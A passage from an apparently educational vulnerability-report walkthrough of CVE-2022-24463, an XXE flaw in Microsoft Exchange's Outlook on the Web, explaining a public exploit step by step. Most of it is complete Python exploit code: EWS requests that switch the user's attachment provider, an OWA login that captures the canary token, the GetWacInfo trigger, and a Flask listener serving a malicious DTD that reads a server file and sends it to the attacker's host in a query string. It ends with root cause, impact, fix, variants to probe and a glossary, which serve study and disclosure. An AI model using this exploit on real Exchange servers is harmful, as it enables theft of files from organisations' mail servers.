The first line is the command itself. --url is the Exchange server, --username and --password are the low-privilege account, --listener is the attacker's address, and --file is the file on the server to steal. The bracketed lines are progress messages: setting up (changing the configuration), triggering (calling the action), saving the file, cleaning up (restoring the configuration), done. The block between the hash lines is the stolen file, printed for the operator. win.ini is a Windows settings file.

Step 2: Enable the OneDrivePro provider

The setup method writes the OWA.AttachmentDataProvider configuration through EWS UpdateUserConfiguration. The XML data is base64 encoded and placed in a SOAP envelope:

Python
  def setup(self):
    xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.OneDriveProAttachmentDataProvider" DocumentLibrary="Library" id="465b4e63-54c2-49d6-a99b-cab37fb799e3" type="OneDrivePro" displayName="OneDrivePro" isThirdPartyProvider="False"></entry></AttachmentDataProvider>'
    xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1')
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
        <soap:Header>
          <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion>
        </soap:Header>
        <soap:Body>
          <m:UpdateUserConfiguration>
            <m:UserConfiguration>
              <t:UserConfigurationName Name="OWA.AttachmentDataProvider">
                <t:DistinguishedFolderId Id="root"/>
              </t:UserConfigurationName>
              <t:XmlData>{}</t:XmlData>
            </m:UserConfiguration>
          </m:UpdateUserConfiguration>
        </soap:Body>
      </soap:Envelope>
      '''.format(xmldata))
    headers = {
      'Content-type': 'text/xml; charset=utf-8'
    }
    r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data)
    if r.status_code != 500:
      return True
    return False

Line by line:

  1. xmldata holds the new provider configuration, the same XML shown earlier, on one line.
  2. The next line base64-encodes it, because the EWS field that carries it expects base64 text rather than raw XML.
  3. data is the SOAP envelope. The soap:Header declares which Exchange version the client speaks. The soap:Body contains UpdateUserConfiguration, naming the setting OWA.AttachmentDataProvider and placing the encoded XML in XmlData. The {} is where the encoded string is inserted.
  4. The headers say the body is XML.
  5. The POST goes to /ews/Exchange.asmx, the EWS endpoint.
  6. The code treats any status other than 500 as success. That is a rough check, but enough for the exploit to know the write went through.

Why this step: the vulnerable code is only reached through the OneDrive provider, and that provider is not enabled by default, so the attacker first edits their own settings to enable it.

Step 3: Authenticate to OWA and get a canary

The xxe method waits ten seconds, then posts credentials to /owa/auth.owa with allow_redirects=False. It expects a 302 that does not point to /owa/auth/logon.aspx. It then requests /ecp/ and reads the msExchEcpCanary cookie, which becomes the CSRF token:

Python
  def xxe(self):
    time.sleep(10)
    # Authenticate
    data = {
      'destination': '{}/owa/'.format(self.url),
      'flags': '4',
      'forcedownlevel': '0',
      'username': self.username,
      'password': self.password,
      'passwordText': '',
      'isUtf8': '1'
    }
    r = self.s.post('{}/owa/auth.owa'.format(self.url), data=data, allow_redirects=False)
    if r.status_code != 302 or r.headers['Location'].find('/owa/auth/logon.aspx') != -1:
      return False
    self.s.get('{}/ecp/'.format(self.url))
    if 'msExchEcpCanary' not in self.s.cookies:
      return False
    self.csrf_token = self.s.cookies['msExchEcpCanary']

Line by line:

  1. time.sleep(10) pauses ten seconds so the server has time to reload the changed configuration.
  2. The data dictionary is the login form: where to go after login (destination), some fixed flags, the username and password, and encoding hints.
  3. The POST to /owa/auth.owa sends the form. allow_redirects=False tells the library not to follow the redirect automatically, so the script can inspect it.
  4. A successful login answers 302 (redirect). If the status is not 302, or the redirect points at the login page /owa/auth/logon.aspx, the login failed and the method stops.
  5. The GET to /ecp/ visits the Exchange Control Panel, which is where the canary cookie is issued.
  6. If the msExchEcpCanary cookie is missing, the script stops.
  7. Otherwise the cookie value is stored as self.csrf_token.

Why this step: the GetWacInfo action is a state-changing API call, so Exchange requires a valid session and a CSRF token. The script logs in and collects both.

Step 4: Trigger the GetWacInfo action

The action is called on /owa/service.svc with the Action: GetWacInfo header, the canary in X-OWA-CANARY, and a JSON body whose Url points at the attacker listener:

Python
    # Trigger XXE
    headers = {
      'Action': 'GetWacInfo',
      'X-OWA-CANARY': self.csrf_token,
      'Content-type': 'application/json; charset=utf-8'
    }
    data = {
      'request': {
        '__type': 'GetWacInfoRequest:#Exchange',
        'Url': 'http://{}:{}/'.format(self.options['listener'], self.options['port'])
      }
    }
    self.s.post('{}/owa/service.svc'.format(self.url), headers=headers, data=json.dumps(data))

Line by line:

  1. The Action header names the OWA action to run. This is how OWA's API routes a request to a specific server-side method.
  2. X-OWA-CANARY carries the CSRF token from the previous step.
  3. The content type says the body is JSON.
  4. The body has a request object whose __type tells the server which request class to deserialise it into, and whose Url is the attacker's listener. That URL is the endPointUrl that eventually reaches XmlDocument.Load.
  5. The POST sends it to /owa/service.svc.

Why this step: this is the actual trigger. The server takes the URL from the request, asks the configured provider for an endpoint, and then fetches that endpoint and parses the answer as XML. Because the URL points at the attacker, the attacker decides what XML the server parses.

Step 5: Serve the payload

The Flask listener answers four routes. /_api/contextinfo returns a GetContextWebInformation document pointing back at the listener:

Python
    def contextinfo():
      content = textwrap.dedent('''\
        <?xml version="1.0" encoding="UTF-8"?>
        <d:GetContextWebInformation xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">
          <d:WebFullUrl>http://{}:{}</d:WebFullUrl>
        </d:GetContextWebInformation>
      '''.format(self.options['listener'], self.options['port']))
      return Response(content, mimetype='text/xml')

It keeps the Exchange server talking to the listener and following the chain of requests the exploit expects.

The /_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl<path> route returns the XML that XmlDocument parses. It declares an external DTD and wraps the file contents in CDATA using parameter entities:

Python
    def payload(path):
      content = textwrap.dedent('''\
      <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE root [
      <!ENTITY % start "<![CDATA[">
      <!ENTITY % stuff SYSTEM "file:///{}">
      <!ENTITY % end "]]>">
      <!ENTITY % dtd SYSTEM "http://{}:{}/_api/cim20.dtd">
      %dtd;
      ]>
      <root></root>
      '''.format(self.file, self.options['listener'], self.options['port']))
      return Response(content, mimetype='text/xml')

Line by line:

  1. The XML declaration says this is XML in UTF-8.
  2. <!DOCTYPE root [ opens a DTD for the document.
  3. %start is a parameter entity whose value is the literal text <![CDATA[.
  4. %stuff is a parameter entity whose value is the file on the server, addressed with file:///. This is the instruction that makes the parser read a local file.
  5. %end is a parameter entity whose value is ]]>, closing the CDATA section.
  6. %dtd is a parameter entity fetched from the attacker's /_api/cim20.dtd route. Fetching it is itself a request to the attacker, and its contents are the next stage.
  7. %dtd; uses that entity, so the parser downloads and processes the DTD.
  8. <root></root> is an empty body; all the work happens in the DTD.

The /_api/cim20.dtd route builds the parameter entity that turns the file contents into a request to the listener:

Python
    def dtd():
      content = textwrap.dedent('''\
        <!ENTITY % payload "%start;%stuff;%end;">
        <!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "http://{}:{}/_api?%payload;">'>
        %param1; %external;
        '''.format(self.options['listener'], self.options['port']))
      return Response(content)

Line by line:

  1. %payload is defined as the concatenation of %start, %stuff and %end. In other words: the file contents, wrapped in CDATA markers so that any < or & inside the file does not break the XML.
  2. %param1 is a declaration that creates a new entity named external. &#x25; is the character %, written as a numeric reference so it does not get expanded too early. The new entity's value is a URL back to the listener's /_api route, with %payload in the query string. When this entity is used, the parser will fetch that URL, and the file contents travel in the query string.
  3. %param1; creates the entity, and %external; uses it, which causes the outbound request carrying the stolen data.

The /_api route receives the exfiltrated content in the query string, strips the CDATA markers, writes the file and prints it:

Python
    def leak():
      content = unquote(request.query_string)
      if content.startswith('<![CDATA['):
        content = content[9:]
      if content.endswith(']]>'):
        content = content[:-3]
      def end():
        time.sleep(5)
        print('[*] Cleaning up...')
        self.cleanup()
        print('[*] Done.')
        print('')
        print('##############################################')
        print('')
        print(content)
        print('')
        print('##############################################')
        os._exit(0)
      filename = re.sub('[^A-Za-z0-9\.]', '_', self.file)
      print('[*] Saving file "{}"...'.format(self.file, filename))
      with open(filename, 'w') as f:
        f.write(content)
      threading.Thread(target=end).start()
      return Response('')

Line by line:

  1. request.query_string is everything after the ? in the incoming URL. unquote turns percent-encoded characters back into normal text.
  2. If the content starts with the CDATA opener, it is removed.
  3. If it ends with the CDATA closer, that is removed too. What remains is the raw file.
  4. end is a small function that waits five seconds, restores the original configuration, prints the stolen file between hash lines, and exits the program.
  5. The filename is the requested path with every character that is not a letter, digit or dot replaced by an underscore, so C:/Windows/win.ini becomes C__Windows_win.ini.
  6. The content is written to that file.
  7. end is started in a background thread so the HTTP response can be returned first.
  8. An empty response is returned to the Exchange server, which is all it needs to finish its request.

The routes are registered and the trigger runs in a background thread while Flask serves:

Python
    app = Flask(__name__)
    app.add_url_rule('/_api/contextinfo', 'contextinfo', contextinfo, methods=['POST'])
    app.add_url_rule('/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl<path>', 'payload', payload)
    app.add_url_rule('/_api/cim20.dtd', 'dtd', dtd, methods=['GET'])
    app.add_url_rule('/_api', 'leak', leak, methods=['GET'])
    logging.getLogger('werkzeug').setLevel(logging.ERROR)
    cli = sys.modules['flask.cli']
    cli.show_server_banner = lambda *x: None
    threading.Thread(target=self.xxe).start()
    app.run(host=self.options['host'], port=self.options['port'])

Line by line:

  1. A Flask application is created.
  2. Each add_url_rule maps a path to one of the functions above, with the HTTP methods it accepts. The <path> in the payload route is a placeholder that matches any trailing path, so the server's request for the token URL lands on payload.
  3. The next two lines silence Flask's startup banner and request logging, so the output stays readable.
  4. The trigger (self.xxe) is started in a background thread, so it can send its requests while Flask is already listening.
  5. app.run starts the web server on all interfaces at the chosen port.

Why this step: the Exchange server will fetch the URL it was given and parse the answer. The listener's job is to answer with XML that instructs the parser to read a local file and send it back, and then to catch that returned data.

Step 6: Clean up

After the leak, cleanup restores the default MailboxAttachmentDataProvider configuration through the same EWS call:

Python
  def cleanup(self):
    xmldata = '<AttachmentDataProvider><entry __PolymorphicConfiguration_Type="Microsoft.Exchange.Clients.Owa2.Server.Core.MailboxAttachmentDataProvider" id="c7b0c1e5-345f-4725-bc1f-ec032984899d" type="Mailbox" displayName="Recent attachments" isThirdPartyProvider="False"></entry></AttachmentDataProvider>'
    xmldata = base64.b64encode(xmldata.encode('latin-1')).decode('latin-1')
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
        <soap:Header>
          <t:RequestServerVersion Version="Exchange2010"></t:RequestServerVersion>
        </soap:Header>
        <soap:Body>
          <m:UpdateUserConfiguration>
            <m:UserConfiguration>
              <t:UserConfigurationName Name="OWA.AttachmentDataProvider">
                <t:DistinguishedFolderId Id="root"/>
              </t:UserConfigurationName>
              <t:XmlData>{}</t:XmlData>
            </m:UserConfiguration>
          </m:UpdateUserConfiguration>
        </soap:Body>
      </soap:Envelope>
      '''.format(xmldata))
    headers = {
      'Content-type': 'text/xml; charset=utf-8'
    }
    r = self.s.post('{}/ews/Exchange.asmx'.format(self.url), headers=headers, data=data)
    if r.status_code != 500:
      return True
    return False

This is the same EWS call as in step 2, with the default mailbox provider written back instead of the OneDrive one. The structure and the status check are identical. Why this step: The exploit puts the setting back the way it was.

Root cause

The mistake is that GetWacUrl passes an attacker-controlled endpoint URL into GetTokenRequestWebResponse and then feeds the response stream straight into XmlDocument.Load. The unsafe usage of XmlDocument means a response containing a DOCTYPE with external parameter entities is processed, and the file contents are sent to the attacker's server. The provider configuration is also attacker-writable, which lets the attacker enable OneDriveProAttachmentDataProvider and reach the vulnerable path.

Impact

An attacker with control over a low-privilege user account can send arbitrary requests and exfiltrate files from the target server. The exploit example leaks C:/Windows/win.ini. The listener must be reachable from the Exchange server for the exfiltration to work.

Fix

Microsoft released patches for the supported versions through the update guide for CVE-2022-24463. The report does not describe the code change itself.

Variants to test

  1. Other OWA actions that take a URL parameter and fetch it server-side. A positive result is a request from the Exchange server to your listener.
  2. Other attachment provider types in OWA.AttachmentDataProvider. A positive result is a provider that reaches a code path which parses a remote response as XML.
  3. The isSPGetWacTokenEnabled branch, which uses a different token URL format. A positive result is the same external entity resolution on that branch.
  4. Any endpoint that loads a response with XmlDocument without disabling DTD processing. A positive result is a callback to your listener containing file contents.

Glossary

  • API: an interface built for programs rather than people, accepting structured requests and returning structured data.
  • Assembly: a compiled .NET code file that can contain many classes.
  • Attachment data provider: Exchange's pluggable code for talking to a storage service, such as the mailbox or OneDrive.
  • Base64: an encoding that turns arbitrary data into plain letters and digits so it can be embedded in text formats; not encryption.
  • Canary (CSRF token): a value the server issues and expects back on state-changing requests, proving the request came from your own session.
  • CDATA: an XML section whose contents are treated as raw text and not parsed as tags.
  • Class: a named bundle of code inside an assembly.
  • Cookie: a small piece of text a server asks the browser to store and send back on later requests, used to recognise a session.
  • CSRF: Cross-Site Request Forgery, an attack where a malicious page makes your browser send a request you did not intend; canary tokens defend against it.
  • DTD: Document Type Definition, an optional block at the top of an XML document that declares entities and document structure.
  • Endpoint: a specific address on a server where one function is available, such as /owa/service.svc.
  • Entity: a named shortcut in XML, written &name;, replaced by its declared value when the document is parsed.
  • EWS: Exchange Web Services, Exchange's XML-based API for mail, calendar and settings.
  • External entity: an entity whose value is fetched from a file or URL rather than written inline.
  • Flask: a small Python web framework used to build the attacker's listener.
  • HTTP request/response: the request a client sends (method, path, headers, body) and the answer a server returns (status code, headers, body).
  • Listener: the attacker's own server, waiting for connections and serving the malicious XML.
  • NTLM: a Microsoft authentication scheme; requests_ntlm2 lets Python scripts use it.
  • OWA: Outlook on the Web, the browser interface to Exchange.
  • Parameter entity: an entity declared with % that can only be used inside a DTD, used to assemble declarations in stages.
  • Reference attachment: an attachment that is a link to a document stored elsewhere rather than a file in the mailbox.
  • SOAP: an XML envelope format for sending API calls, with a header and a body.
  • Token: a value that proves permission to do something, often short-lived.
  • URL: the full address of a resource, including server name and path.
  • User configuration: per-user settings stored on the Exchange server; OWA.AttachmentDataProvider is the one used here.
  • WAC: Web Application Companion, the browser-based Office viewer that opens documents.
  • WOPI: the protocol the Office viewer uses to talk to storage services.
  • XML: a text format for structured data using tags.
  • XXE: XML External Entity, a vulnerability where a parser processes external entities in untrusted XML, allowing local file reads and server-side requests.

More by Alex Birnberg

View all

1 more disclosed report, best first.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.